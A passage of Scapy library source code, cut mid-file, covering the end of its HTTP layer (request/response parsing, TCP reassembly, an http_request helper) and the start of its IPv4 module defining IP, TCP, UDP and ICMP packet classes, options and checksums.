HTTPResponse/HTTPRequest should always be below an HTTP" ) # Check for cache if self.raw_packet_cache is not None: return self.raw_packet_cache p = b"" # Walk all the fields, in order for f in self.fields_desc: if f.name == "Unknown_Headers": continue # Get the field value val = self.getfieldval(f.name) if not val: # Not specified. Skip continue if f.name not in ['Method', 'Path', 'Reason_Phrase', 'Http_Version', 'Status_Code']: val = _header_line(f.real_name, val) # Fields used in the first line have a space as a separator, # whereas headers are terminated by a new line if isinstance(self, HTTPRequest): if f.name in ['Method', 'Path']: separator = b' ' else: separator = b'\r\n' elif isinstance(self, HTTPResponse): if f.name in ['Http_Version', 'Status_Code']: separator = b' ' else: separator = b'\r\n' # Add the field into the packet p = f.addfield(self, p, val + separator) # Handle Unknown_Headers if self.Unknown_Headers: headers_text = b"" for name, value in six.iteritems(self.Unknown_Headers): headers_text += _header_line(name, value) + b"\r\n" p = self.get_field("Unknown_Headers").addfield( self, p, headers_text ) # The packet might be empty, and in that case it should stay empty. if p: # Add an additional line after the last header p = f.addfield(self, p, b'\r\n') return p def guess_payload_class(self, payload): """Detect potential payloads """ if self.Connection and b"Upgrade" in self.Connection: from scapy.contrib.http2 import H2Frame return H2Frame return super(_HTTPContent, self).guess_payload_class(payload) class _HTTPHeaderField(StrField): """Modified StrField to handle HTTP Header names""" __slots__ = ["real_name"] def __init__(self, name, default): self.real_name = name name = _strip_header_name(name) StrField.__init__(self, name, default, fmt="H") def _generate_headers(*args): """Generate the header fields based on their name""" # Order headers all_headers = [] for headers in args: all_headers += headers # Generate header fields results = [] for h in sorted(all_headers): results.append(_HTTPHeaderField(h, None)) return results # Create Request and Response packets class HTTPRequest(_HTTPContent): name = "HTTP Request" fields_desc = [ # First line _HTTPHeaderField("Method", "GET"), _HTTPHeaderField("Path", "/"), _HTTPHeaderField("Http-Version", "HTTP/1.1"), # Headers ] + ( _generate_headers( GENERAL_HEADERS, REQUEST_HEADERS, COMMON_UNSTANDARD_GENERAL_HEADERS, COMMON_UNSTANDARD_REQUEST_HEADERS ) ) + [ _HTTPHeaderField("Unknown-Headers", None), ] def do_dissect(self, s): """From the HTTP packet string, populate the scapy object""" first_line, body = _dissect_headers(self, s) try: Method, Path, HTTPVersion = re.split(br"\s+", first_line, 2) self.setfieldval('Method', Method) self.setfieldval('Path', Path) self.setfieldval('Http_Version', HTTPVersion) except ValueError: pass if body: self.raw_packet_cache = s[:-len(body)] else: self.raw_packet_cache = s return body def mysummary(self): return self.sprintf( "%HTTPRequest.Method% %HTTPRequest.Path% " "%HTTPRequest.Http_Version%" ) class HTTPResponse(_HTTPContent): name = "HTTP Response" fields_desc = [ # First line _HTTPHeaderField("Http-Version", "HTTP/1.1"), _HTTPHeaderField("Status-Code", "200"), _HTTPHeaderField("Reason-Phrase", "OK"), # Headers ] + ( _generate_headers( GENERAL_HEADERS, RESPONSE_HEADERS, COMMON_UNSTANDARD_GENERAL_HEADERS, COMMON_UNSTANDARD_RESPONSE_HEADERS ) ) + [ _HTTPHeaderField("Unknown-Headers", None), ] def answers(self, other): return HTTPRequest in other def do_dissect(self, s): ''' From the HTTP packet string, populate the scapy object ''' first_line, body = _dissect_headers(self, s) try: HTTPVersion, Status, Reason = re.split(br"\s+", first_line, 2) self.setfieldval('Http_Version', HTTPVersion) self.setfieldval('Status_Code', Status) self.setfieldval('Reason_Phrase', Reason) except ValueError: pass if body: self.raw_packet_cache = s[:-len(body)] else: self.raw_packet_cache = s return body def mysummary(self): return self.sprintf( "%HTTPResponse.Http_Version% %HTTPResponse.Status_Code% " "%HTTPResponse.Reason_Phrase%" ) # General HTTP class + defragmentation class HTTP(Packet): name = "HTTP 1" fields_desc = [] show_indent = 0 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 9: from scapy.contrib.http2 import _HTTP2_types, H2Frame # To detect a valid HTTP2, we check that the type is correct # that the Reserved bit is set and length makes sense. while _pkt: if len(_pkt) < 9: # Invalid total length return cls if ord(_pkt[3:4]) not in _HTTP2_types: # Invalid type return cls length = struct.unpack("!I", b"\0" + _pkt[:3])[0] + 9 if length > len(_pkt): # Invalid length return cls sid = struct.unpack("!I", _pkt[5:9])[0] if sid >> 31 != 0: # Invalid Reserved bit return cls _pkt = _pkt[length:] return H2Frame return cls # tcp_reassemble is used by TCPSession in session.py @classmethod def tcp_reassemble(cls, data, metadata): detect_end = metadata.get("detect_end", None) is_unknown = metadata.get("detect_unknown", True) if not detect_end or is_unknown: metadata["detect_unknown"] = False http_packet = HTTP(data) # Detect packing method if not isinstance(http_packet.payload, _HTTPContent): return http_packet length = http_packet.Content_Length if length is not None: # The packet provides a Content-Length attribute: let's # use it. When the total size of the frags is high enough, # we have the packet length = int(length) # Subtract the length of the "HTTP*" layer if http_packet.payload.payload or length == 0: http_length = len(data) - len(http_packet.payload.payload) detect_end = lambda dat: len(dat) - http_length >= length else: # The HTTP layer isn't fully received. detect_end = lambda dat: False metadata["detect_unknown"] = True else: # It's not Content-Length based. It could be chunked encodings = http_packet[HTTP].payload._get_encodings() chunked = ("chunked" in encodings) is_response = isinstance(http_packet.payload, HTTPResponse) if chunked: detect_end = lambda dat: dat.endswith(b"0\r\n\r\n") # HTTP Requests that do not have any content, # end with a double CRLF elif isinstance(http_packet.payload, HTTPRequest): detect_end = lambda dat: dat.endswith(b"\r\n\r\n") # In case we are handling a HTTP Request, # we want to continue assessing the data, # to handle requests with a body (POST) metadata["detect_unknown"] = True elif is_response and http_packet.Status_Code == b"101": # If it's an upgrade response, it may also hold a # different protocol data. # make sure all headers are present detect_end = lambda dat: dat.find(b"\r\n\r\n") else: # If neither Content-Length nor chunked is specified, # it means it's the TCP packet that contains the data, # or that the information hasn't been given yet. detect_end = lambda dat: metadata.get("tcp_end", False) metadata["detect_unknown"] = True metadata["detect_end"] = detect_end if detect_end(data): return http_packet else: if detect_end(data): http_packet = HTTP(data) return http_packet def guess_payload_class(self, payload): """Decides if the payload is an HTTP Request or Response, or something else. """ try: prog = re.compile( br"^(?:OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT) " br"(?:.+?) " br"HTTP/\d\.\d$" ) crlfIndex = payload.index(b"\r\n") req = payload[:crlfIndex] result = prog.match(req) if result: return HTTPRequest else: prog = re.compile(br"^HTTP/\d\.\d \d\d\d .*$") result = prog.match(req) if result: return HTTPResponse except ValueError: # Anything that isn't HTTP but on port 80 pass return Raw def http_request(host, path="/", port=80, timeout=3, display=False, verbose=0, iptables=False, iface=None, **headers): """Util to perform an HTTP request, using the TCP_client. :param host: the host to connect to :param path: the path of the request (default /) :param port: the port (default 80) :param timeout: timeout before None is returned :param display: display the resullt in the default browser (default False) :param iface: interface to use. default: conf.iface :param iptables: temporarily prevents the kernel from answering with a TCP RESET message. :param headers: any additional headers passed to the request :returns: the HTTPResponse packet """ http_headers = { "Accept_Encoding": b'gzip, deflate', "Cache_Control": b'no-cache', "Pragma": b'no-cache', "Connection": b'keep-alive', "Host": host, "Path": path, } http_headers.update(headers) req = HTTP() / HTTPRequest(**http_headers) tcp_client = TCP_client.tcplink(HTTP, host, port, debug=verbose, iface=iface) ans = None if iptables: ip = tcp_client.atmt.dst iptables_rule = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP" assert(os.system(iptables_rule % ('A', ip)) == 0) try: ans = tcp_client.sr1(req, timeout=timeout, verbose=verbose) finally: tcp_client.close() if iptables: assert(os.system(iptables_rule % ('D', ip)) == 0) if ans: if display: if Raw not in ans: warning("No HTTP content returned. Cannot display") return ans # Write file file = get_temp_file(autoext=".html") with open(file, "wb") as fd: fd.write(ans.load) # Open browser if WINDOWS: os.startfile(file) else: with ContextManagerSubprocess(conf.prog.universal_open): subprocess.Popen([conf.prog.universal_open, file]) return ans # Bindings bind_bottom_up(TCP, HTTP, sport=80) bind_bottom_up(TCP, HTTP, dport=80) bind_layers(TCP, HTTP, sport=80, dport=80) bind_bottom_up(TCP, HTTP, sport=8080) bind_bottom_up(TCP, HTTP, dport=8080) scapy-2.4.4/scapy/layers/inet.py000066400000000000000000002125441372370053500166040ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ IPv4 (Internet Protocol v4). """ from __future__ import absolute_import from __future__ import print_function import time import struct import re import random import select import socket from collections import defaultdict from scapy.utils import checksum, do_graph, incremental_label, \ linehexdump, strxor, whois, colgen from scapy.base_classes import Gen, Net from scapy.data import ETH_P_IP, ETH_P_ALL, DLT_RAW, DLT_RAW_ALT, DLT_IPV4, \ IP_PROTOS, TCP_SERVICES, UDP_SERVICES from scapy.layers.l2 import Ether, Dot3, getmacbyip, CookedLinux, GRE, SNAP, \ Loopback from scapy.compat import raw, chb, orb, bytes_encode from scapy.config import conf from scapy.extlib import plt, MATPLOTLIB, MATPLOTLIB_INLINED, \ MATPLOTLIB_DEFAULT_PLOT_KARGS from scapy.fields import ConditionalField, IPField, BitField, BitEnumField, \ FieldLenField, StrLenField, ByteField, ShortField, ByteEnumField, \ DestField, FieldListField, FlagsField, IntField, MultiEnumField, \ PacketListField, ShortEnumField, SourceIPField, StrField, \ StrFixedLenField, XByteField, XShortField, Emph from scapy.packet import Packet, bind_layers, bind_bottom_up, NoPayload from scapy.volatile import RandShort, RandInt, RandBin, RandNum, VolatileValue from scapy.sendrecv import sr, sr1 from scapy.plist import PacketList, SndRcvList from scapy.automaton import Automaton, ATMT from scapy.error import warning from scapy.pton_ntop import inet_pton import scapy.as_resolvers import scapy.modules.six as six from scapy.modules.six.moves import range #################### # IP Tools class # #################### class IPTools(object): """Add more powers to a class with an "src" attribute.""" __slots__ = [] def whois(self): """whois the source and print the output""" print(whois(self.src).decode("utf8", "ignore")) def _ttl(self): """Returns ttl or hlim, depending on the IP version""" return self.hlim if isinstance(self, scapy.layers.inet6.IPv6) else self.ttl # noqa: E501 def ottl(self): t = sorted([32, 64, 128, 255] + [self._ttl()]) return t[t.index(self._ttl()) + 1] def hops(self): return self.ottl() - self._ttl() _ip_options_names = {0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", } class _IPOption_HDR(Packet): fields_desc = [BitField("copy_flag", 0, 1), BitEnumField("optclass", 0, 2, {0: "control", 2: "debug"}), BitEnumField("option", 0, 5, _ip_options_names)] class IPOption(Packet): name = "IP Option" fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value # noqa: E501 length_of="value", adjust=lambda pkt, l:l + 2), # noqa: E501 StrLenField("value", "", length_from=lambda pkt:pkt.length - 2)] # noqa: E501 def extract_padding(self, p): return b"", p registered_ip_options = {} @classmethod def register_variant(cls): cls.registered_ip_options[cls.option.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: opt = orb(pkt[0]) & 0x1f if opt in cls.registered_ip_options: return cls.registered_ip_options[opt] return cls class IPOption_EOL(IPOption): name = "IP Option End of Options List" option = 0 fields_desc = [_IPOption_HDR] class IPOption_NOP(IPOption): name = "IP Option No Operation" option = 1 fields_desc = [_IPOption_HDR] class IPOption_Security(IPOption): name = "IP Option Security" copy_flag = 1 option = 2 fields_desc = [_IPOption_HDR, ByteField("length", 11), ShortField("security", 0), ShortField("compartment", 0), ShortField("handling_restrictions", 0), StrFixedLenField("transmission_control_code", "xxx", 3), ] class IPOption_RR(IPOption): name = "IP Option Record Route" option = 7 fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="routers", adjust=lambda pkt, l:l + 3), # noqa: E501 ByteField("pointer", 4), # 4 is first IP FieldListField("routers", [], IPField("", "0.0.0.0"), length_from=lambda pkt:pkt.length - 3) ] def get_current_router(self): return self.routers[self.pointer // 4 - 1] class IPOption_LSRR(IPOption_RR): name = "IP Option Loose Source and Record Route" copy_flag = 1 option = 3 class IPOption_SSRR(IPOption_RR): name = "IP Option Strict Source and Record Route" copy_flag = 1 option = 9 class IPOption_Stream_Id(IPOption): name = "IP Option Stream ID" copy_flag = 1 option = 8 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortField("security", 0), ] class IPOption_MTU_Probe(IPOption): name = "IP Option MTU Probe" option = 11 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortField("mtu", 0), ] class IPOption_MTU_Reply(IPOption_MTU_Probe): name = "IP Option MTU Reply" option = 12 class IPOption_Traceroute(IPOption): name = "IP Option Traceroute" option = 18 fields_desc = [_IPOption_HDR, ByteField("length", 12), ShortField("id", 0), ShortField("outbound_hops", 0), ShortField("return_hops", 0), IPField("originator_ip", "0.0.0.0")] class IPOption_Timestamp(IPOption): name = "IP Option Timestamp" optclass = 2 option = 4 fields_desc = [_IPOption_HDR, ByteField("length", None), ByteField("pointer", 9), BitField("oflw", 0, 4), BitEnumField("flg", 1, 4, {0: "timestamp_only", 1: "timestamp_and_ip_addr", 3: "prespecified_ip_addr"}), ConditionalField(IPField("internet_address", "0.0.0.0"), lambda pkt: pkt.flg != 0), IntField('timestamp', 0)] def post_build(self, p, pay): if self.length is None: p = p[:1] + struct.pack("!B", len(p)) + p[2:] return p + pay class IPOption_Address_Extension(IPOption): name = "IP Option Address Extension" copy_flag = 1 option = 19 fields_desc = [_IPOption_HDR, ByteField("length", 10), IPField("src_ext", "0.0.0.0"), IPField("dst_ext", "0.0.0.0")] class IPOption_Router_Alert(IPOption): name = "IP Option Router Alert" copy_flag = 1 option = 20 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortEnumField("alert", 0, {0: "router_shall_examine_packet"}), ] # noqa: E501 class IPOption_SDBM(IPOption): name = "IP Option Selective Directed Broadcast Mode" copy_flag = 1 option = 21 fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="addresses", adjust=lambda pkt, l:l + 2), # noqa: E501 FieldListField("addresses", [], IPField("", "0.0.0.0"), length_from=lambda pkt:pkt.length - 2) ] TCPOptions = ( {0: ("EOL", None), 1: ("NOP", None), 2: ("MSS", "!H"), 3: ("WScale", "!B"), 4: ("SAckOK", None), 5: ("SAck", "!"), 8: ("Timestamp", "!II"), 14: ("AltChkSum", "!BH"), 15: ("AltChkSumOpt", None), 25: ("Mood", "!p"), 28: ("UTO", "!H"), 34: ("TFO", "!II"), # RFC 3692 # 253: ("Experiment", "!HHHH"), # 254: ("Experiment", "!HHHH"), }, {"EOL": 0, "NOP": 1, "MSS": 2, "WScale": 3, "SAckOK": 4, "SAck": 5, "Timestamp": 8, "AltChkSum": 14, "AltChkSumOpt": 15, "Mood": 25, "UTO": 28, "TFO": 34, }) class RandTCPOptions(VolatileValue): def __init__(self, size=None): if size is None: size = RandNum(1, 5) self.size = size def _fix(self): # Pseudo-Random amount of options # Random ("NAME", fmt) rand_patterns = [ random.choice(list( (opt, fmt) for opt, fmt in six.itervalues(TCPOptions[0]) if opt != 'EOL' )) for _ in range(self.size) ] rand_vals = [] for oname, fmt in rand_patterns: if fmt is None: rand_vals.append((oname, b'')) else: # Process the fmt arguments 1 by 1 structs = fmt[1:] if fmt[0] == "!" else fmt rval = [] for stru in structs: stru = "!" + stru if "s" in stru or "p" in stru: # str / chr v = bytes(RandBin(struct.calcsize(stru))) else: # int _size = struct.calcsize(stru) v = random.randint(0, 2 ** (8 * _size) - 1) rval.append(v) rand_vals.append((oname, tuple(rval))) return rand_vals def __bytes__(self): return TCPOptionsField.i2m(None, None, self._fix()) class TCPOptionsField(StrField): islist = 1 def getfield(self, pkt, s): opsz = (pkt.dataofs - 5) * 4 if opsz < 0: warning("bad dataofs (%i). Assuming dataofs=5" % pkt.dataofs) opsz = 0 return s[opsz:], self.m2i(pkt, s[:opsz]) def m2i(self, pkt, x): opt = [] while x: onum = orb(x[0]) if onum == 0: opt.append(("EOL", None)) break if onum == 1: opt.append(("NOP", None)) x = x[1:] continue try: olen = orb(x[1]) except IndexError: olen = 0 if olen < 2: warning("Malformed TCP option (announced length is %i)" % olen) olen = 2 oval = x[2:olen] if onum in TCPOptions[0]: oname, ofmt = TCPOptions[0][onum] if onum == 5: # SAck ofmt += "%iI" % (len(oval) // 4) if ofmt and struct.calcsize(ofmt) == len(oval): oval = struct.unpack(ofmt, oval) if len(oval) == 1: oval = oval[0] opt.append((oname, oval)) else: opt.append((onum, oval)) x = x[olen:] return opt def i2h(self, pkt, x): if not x: return [] return x def i2m(self, pkt, x): opt = b"" for oname, oval in x: # We check for a (0, b'') or (1, b'') option first oname = {0: "EOL", 1: "NOP"}.get(oname, oname) if isinstance(oname, str): if oname == "NOP": opt += b"\x01" continue elif oname == "EOL": opt += b"\x00" continue elif oname in TCPOptions[1]: onum = TCPOptions[1][oname] ofmt = TCPOptions[0][onum][1] if onum == 5: # SAck ofmt += "%iI" % len(oval) _test_isinstance = not isinstance(oval, (bytes, str)) if ofmt is not None and (_test_isinstance or "s" in ofmt): if not isinstance(oval, tuple): oval = (oval,) oval = struct.pack(ofmt, *oval) else: warning("option [%s] unknown. Skipped.", oname) continue else: onum = oname if not isinstance(onum, int): warning("Invalid option number [%i]" % onum) continue if not isinstance(oval, (bytes, str)): warning("option [%i] is not bytes." % onum) continue if isinstance(oval, str): oval = bytes_encode(oval) opt += chb(onum) + chb(2 + len(oval)) + oval return opt + b"\x00" * (3 - ((len(opt) + 3) % 4)) # Padding def randval(self): return RandTCPOptions() class ICMPTimeStampField(IntField): re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$") # noqa: E501 def i2repr(self, pkt, val): if val is None: return "--" else: sec, milli = divmod(val, 1000) min, sec = divmod(sec, 60) hour, min = divmod(min, 60) return "%d:%d:%d.%d" % (hour, min, sec, int(milli)) def any2i(self, pkt, val): if isinstance(val, str): hmsms = self.re_hmsm.match(val) if hmsms: h, _, m, _, s, _, ms = hmsms.groups() ms = int(((ms or "") + "000")[:3]) val = ((int(h) * 60 + int(m or 0)) * 60 + int(s or 0)) * 1000 + ms # noqa: E501 else: val = 0 elif val is None: val = int((time.time() % (24 * 60 * 60)) * 1000) return val class DestIPField(IPField, DestField): bindings = {} def __init__(self, name, default): IPField.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IPField.i2h(self, pkt, x) class IP(Packet, IPTools): __slots__ = ["_defrag_pos"] name = "IP" fields_desc = [BitField("version", 4, 4), BitField("ihl", None, 4), XByteField("tos", 0), ShortField("len", None), ShortField("id", 1), FlagsField("flags", 0, 3, ["MF", "DF", "evil"]), BitField("frag", 0, 13), ByteField("ttl", 64), ByteEnumField("proto", 0, IP_PROTOS), XShortField("chksum", None), # IPField("src", "127.0.0.1"), Emph(SourceIPField("src", "dst")), Emph(DestIPField("dst", "127.0.0.1")), PacketListField("options", [], IPOption, length_from=lambda p:p.ihl * 4 - 20)] # noqa: E501 def post_build(self, p, pay): ihl = self.ihl p += b"\0" * ((-len(p)) % 4) # pad IP options if needed if ihl is None: ihl = len(p) // 4 p = chb(((self.version & 0xf) << 4) | ihl & 0x0f) + p[1:] if self.len is None: tmp_len = len(p) + len(pay) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] if self.chksum is None: ck = checksum(p) p = p[:10] + chb(ck >> 8) + chb(ck & 0xff) + p[12:] return p + pay def extract_padding(self, s): tmp_len = self.len - (self.ihl << 2) if tmp_len < 0: return s, b"" return s[:tmp_len], s[tmp_len:] def route(self): dst = self.dst if isinstance(dst, Gen): dst = next(iter(dst)) if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 return conf.route.route(dst) def hashret(self): if ((self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3, 4, 5, 11, 12])): return self.payload.payload.hashret() if not conf.checkIPinIP and self.proto in [4, 41]: # IP, IPv6 return self.payload.hashret() if self.dst == "224.0.0.251": # mDNS return struct.pack("B", self.proto) + self.payload.hashret() if conf.checkIPsrc and conf.checkIPaddr: return (strxor(inet_pton(socket.AF_INET, self.src), inet_pton(socket.AF_INET, self.dst)) + struct.pack("B", self.proto) + self.payload.hashret()) return struct.pack("B", self.proto) + self.payload.hashret() def answers(self, other): if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP if self.proto in [4, 41]: return self.payload.answers(other) if isinstance(other, IP) and other.proto in [4, 41]: return self.answers(other.payload) if conf.ipv6_enabled \ and isinstance(other, scapy.layers.inet6.IPv6) \ and other.nh in [4, 41]: return self.answers(other.payload) if not isinstance(other, IP): return 0 if conf.checkIPaddr: if other.dst == "224.0.0.251" and self.dst == "224.0.0.251": # mDNS # noqa: E501 return self.payload.answers(other.payload) elif (self.dst != other.src): return 0 if ((self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3, 4, 5, 11, 12])): # ICMP error message return self.payload.payload.answers(other) else: if ((conf.checkIPaddr and (self.src != other.dst)) or (self.proto != other.proto)): return 0 return self.payload.answers(other.payload) def mysummary(self): s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%") if self.frag: s += " frag:%i" % self.frag return s def fragment(self, fragsize=1480): """Fragment IP datagrams""" lastfragsz = fragsize fragsize -= fragsize % 8 lst = [] fnb = 0 fl = self while fl.underlayer is not None: fnb += 1 fl = fl.underlayer for p in fl: s = raw(p[fnb].payload) if len(s) <= lastfragsz: lst.append(p) continue nb = (len(s) - lastfragsz + fragsize - 1) // fragsize + 1 for i in range(nb): q = p.copy() del(q[fnb].payload) del(q[fnb].chksum) del(q[fnb].len) if i != nb - 1: q[fnb].flags |= 1 fragend = (i + 1) * fragsize else: fragend = i * fragsize + lastfragsz q[fnb].frag += i * fragsize // 8 r = conf.raw_layer(load=s[i * fragsize:fragend]) r.overload_fields = p[fnb].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst def in4_chksum(proto, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv4 Upper Layer checksum computation. Provided parameters are: - 'proto' : value of upper layer protocol - 'u' : IP upper layer instance - 'p' : the payload of the upper layer provided as a string """ if not isinstance(u, IP): warning("No IP underlayer to compute checksum. Leaving null.") return 0 if u.len is not None: if u.ihl is None: olen = sum(len(x) for x in u.options) ihl = 5 + olen // 4 + (1 if olen % 4 else 0) else: ihl = u.ihl ln = max(u.len - 4 * ihl, 0) else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_pton(socket.AF_INET, u.src), inet_pton(socket.AF_INET, u.dst), proto, ln) return checksum(psdhdr + p) class TCP(Packet): name = "TCP" fields_desc = [ShortEnumField("sport", 20, TCP_SERVICES), ShortEnumField("dport", 80, TCP_SERVICES), IntField("seq", 0), IntField("ack", 0), BitField("dataofs", None, 4), BitField("reserved", 0, 3), FlagsField("flags", 0x2, 9, "FSRPAUECN"), ShortField("window", 8192), XShortField("chksum", None), ShortField("urgptr", 0), TCPOptionsField("options", "")] def post_build(self, p, pay): p += pay dataofs = self.dataofs if dataofs is None: opt_len = len(self.get_field("options").i2m(self, self.options)) dataofs = 5 + ((opt_len + 3) // 4) dataofs = (dataofs << 4) | orb(p[12]) & 0x0f p = p[:12] + chb(dataofs & 0xff) + p[13:] if self.chksum is None: if isinstance(self.underlayer, IP): ck = in4_chksum(socket.IPPROTO_TCP, self.underlayer, p) p = p[:16] + struct.pack("!H", ck) + p[18:] elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): # noqa: E501 ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p) # noqa: E501 p = p[:16] + struct.pack("!H", ck) + p[18:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def hashret(self): if conf.checkIPsrc: return struct.pack("H", self.sport ^ self.dport) + self.payload.hashret() # noqa: E501 else: return self.payload.hashret() def answers(self, other): if not isinstance(other, TCP): return 0 # RST packets don't get answers if other.flags.R: return 0 # We do not support the four-way handshakes with the SYN+ACK # answer split in two packets (one ACK and one SYN): in that # case the ACK will be seen as an answer, but not the SYN. if self.flags.S: # SYN packets without ACK are not answers if not self.flags.A: return 0 # SYN+ACK packets answer SYN packets if not other.flags.S: return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 # Do not check ack value for SYN packets without ACK if not (other.flags.S and not other.flags.A) \ and abs(other.ack - self.seq) > 2: return 0 # Do not check ack value for RST packets without ACK if self.flags.R and not self.flags.A: return 1 if abs(other.seq - self.ack) > 2 + len(other.payload): return 0 return 1 def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%") # noqa: E501 elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6): # noqa: E501 return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%") # noqa: E501 else: return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%") class UDP(Packet): name = "UDP" fields_desc = [ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] def post_build(self, p, pay): p += pay tmp_len = self.len if tmp_len is None: tmp_len = len(p) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] if self.chksum is None: if isinstance(self.underlayer, IP): ck = in4_chksum(socket.IPPROTO_UDP, self.underlayer, p) # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 if ck == 0: ck = 0xFFFF p = p[:6] + struct.pack("!H", ck) + p[8:] elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): # noqa: E501 ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p) # noqa: E501 # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF # noqa: E501 if ck == 0: ck = 0xFFFF p = p[:6] + struct.pack("!H", ck) + p[8:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def extract_padding(self, s): tmp_len = self.len - 8 return s[:tmp_len], s[tmp_len:] def hashret(self): return self.payload.hashret() def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if self.dport != other.sport: return 0 return self.payload.answers(other.payload) def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%") # noqa: E501 elif isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%") # noqa: E501 else: return self.sprintf("UDP %UDP.sport% > %UDP.dport%") icmptypes = {0: "echo-reply", 3: "dest-unreach", 4: "source-quench", 5: "redirect", 8: "echo-request", 9: "router-advertisement", 10: "router-solicitation", 11: "time-exceeded", 12: "parameter-problem", 13: "timestamp-request", 14: "timestamp-reply", 15: "information-request", 16: "information-response", 17: "address-mask-request", 18: "address-mask-reply", 30: "traceroute", 31: "datagram-conversion-error", 32: "mobile-host-redirect", 33: "ipv6-where-are-you", 34: "ipv6-i-am-here", 35: "mobile-registration-request", 36: "mobile-registration-reply", 37: "domain-name-request", 38: "domain-name-reply", 39: "skip", 40: "photuris"} icmpcodes = {3: {0: "network-unreachable", 1: "host-unreachable", 2: "protocol-unreachable", 3: "port-unreachable", 4: "fragmentation-needed", 5: "source-route-failed", 6: "network-unknown", 7: "host-unknown", 9: "network-prohibited", 10: "host-prohibited", 11: "TOS-network-unreachable", 12: "TOS-host-unreachable", 13: "communication-prohibited", 14: "host-precedence-violation", 15: "precedence-cutoff", }, 5: {0: "network-redirect", 1: "host-redirect", 2: "TOS-network-redirect", 3: "TOS-host-redirect", }, 11: {0: "ttl-zero-during-transit", 1: "ttl-zero-during-reassembly", }, 12: {0: "ip-header-bad", 1: "required-option-missing", }, 40: {0: "bad-spi", 1: "authentication-failed", 2: "decompression-failed", 3: "decryption-failed", 4: "need-authentification", 5: "need-authorization", }, } class ICMP(Packet): name = "ICMP" fields_desc = [ByteEnumField("type", 8, icmptypes), MultiEnumField("code", 0, icmpcodes, depends_on=lambda pkt:pkt.type, fmt="B"), # noqa: E501 XShortField("chksum", None), ConditionalField(XShortField("id", 0), lambda pkt:pkt.type in [0, 8, 13, 14, 15, 16, 17, 18]), # noqa: E501 ConditionalField(XShortField("seq", 0), lambda pkt:pkt.type in [0, 8, 13, 14, 15, 16, 17, 18]), # noqa: E501 ConditionalField(ICMPTimeStampField("ts_ori", None), lambda pkt:pkt.type in [13, 14]), # noqa: E501 ConditionalField(ICMPTimeStampField("ts_rx", None), lambda pkt:pkt.type in [13, 14]), # noqa: E501 ConditionalField(ICMPTimeStampField("ts_tx", None), lambda pkt:pkt.type in [13, 14]), # noqa: E501 ConditionalField(IPField("gw", "0.0.0.0"), lambda pkt:pkt.type == 5), # noqa: E501 ConditionalField(ByteField("ptr", 0), lambda pkt:pkt.type == 12), # noqa: E501 ConditionalField(ByteField("reserved", 0), lambda pkt:pkt.type in [3, 11]), # 